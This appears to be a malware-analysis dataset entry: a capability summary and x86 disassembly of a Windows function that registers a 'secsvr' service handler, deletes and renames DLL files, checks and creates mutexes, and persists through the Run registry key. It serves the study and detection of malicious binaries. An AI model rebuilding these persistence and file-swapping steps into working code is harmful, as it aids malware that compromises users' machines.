Function at 0x710059a6
Capabilities:
Check mutex on windows
Check os version
Create thread
Delete file
Get common file path
Move file
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x144
mov eax, dword [0x71009d08]
xor eax, ebp
mov dword [ebp + 0x6c], eax
push ebx
push esi
push edi
mov esi, str.secsvr
lea edi, [ebp + 0x64]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7100595e
lea eax, [ebp + 0x64]
push eax
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
xor ebx, ebx
mov dword [0x7100d128], eax
cmp eax, ebx
je 0x71005c27
mov esi, dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
push ebx
call esi
movzx eax, al
push 1
mov dword [ebp - 0xc0], eax
call esi
lea eax, [ebp - 0xb0]
push eax
mov dword [ebp - 0xb0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edi, 0x7100d130
push edi
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push edi
mov esi, 0x7100d230
push esi
call sub.MSVCR90.dll_strcpy
push edi
mov edi, 0x7100d338
push edi
call sub.MSVCR90.dll_strcpy
push esi
push str._s_svrsec.dll
push esi
call sub.MSVCR90.dll_sprintf
push edi
push str._s_secsvr.dll
push edi
call sub.MSVCR90.dll_sprintf
push 0xbb8
push 1
push ebx
push 2
call fcn.71005917
push ebx
push ebx
push ebx
push 4
call fcn.71005917
add esp, 0x48
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
call sub.MSVCR90.dll_rename
cmp dword [ebp - 0xac], 6
pop ecx
pop ecx
jne 0x71005ba7
cmp dword [ebp - 0xa8], ebx
je 0x71005ab5
cmp dword [ebp - 0xa8], 1
je 0x71005ab5
cmp dword [ebp - 0xa8], 2
jne 0x71005ba7
cmp dword [0x7100d330], 3
mov dword [ebp - 0xb8], ebx
je 0x71005bb4
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor esi, esi
inc esi
cmp dword [0x7100d330], esi
je 0x71005bb4
cmp dword [ebp - 0xb8], ebx
jne 0x71005af6
push 0x1d4c0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xb8], esi
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xb4]
push eax
push 0xf003f
push ebx
cmp dword [ebp - 0xc0], ebx
je 0x71005b1d
push str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRun
jmp 0x71005b22
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysStringLen
call edi
lea eax, [ebp - 0xc4]
push eax
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push str.Ravscand
push dword [ebp - 0xb4]
mov dword [ebp - 0xc4], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push str.GlobalVistaExe
push ebx
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov dword [ebp - 0xbc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x71005b78
cmp eax, 5
jne 0x71005b7c
cmp esi, ebx
jne 0x71005b8c
push reloc.MSVCR90.dll__lock
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.710010c7
push dword [ebp - 0xb4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x7100d330], 3
jne 0x71005ace
jmp 0x71005bb4
push str.Global_secsvrDll
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea eax, [ebp - 0xd4]
push eax
push ebx
push ebx
push 0x71005997
push ebx
lea eax, [ebp - 0xd0]
push eax
mov dword [ebp - 0xd0], 0xc
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call esi
mov eax, dword [0x7100d330]
cmp eax, 3
je 0x71005bff
cmp eax, 1
jne 0x71005be6
push 0x30d40
call esi
push dword [ebp - 0xbc]
mov byte [0x7100d12c], 1
mov byte [0x7100a8b1], 1
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0x3e8
call esi
mov ecx, dword [ebp + 0x6c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.71005c42
add ebp, 0x70
leave
ret 8